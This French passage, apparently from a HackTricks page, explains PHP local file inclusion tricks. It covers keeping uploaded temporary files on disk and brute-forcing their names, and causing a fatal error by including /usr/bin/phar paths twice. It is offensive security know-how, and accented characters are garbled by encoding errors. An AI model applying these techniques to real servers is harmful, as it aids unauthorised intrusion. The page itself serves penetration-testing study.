Si vous pouvez abuser du LFI pour uploader des fichiers temporaires et faire que le serveur bloque l'exécution PHP, vous pourriez alors brute force des filenames pendant des heures pour trouver le fichier temporaire:
Vers Fatal Error
Si vous incluez l'un des fichiers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Vous devez inclure le mĂȘme deux fois pour dĂ©clencher cette erreur).
Je ne sais pas en quoi c'est utile mais ça pourrait l'ĂȘtre.
MĂȘme si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP uploadĂ©s sont supprimĂ©s.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
watchTowr â We need to talk about PHP (pearcmd.php gadget)
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.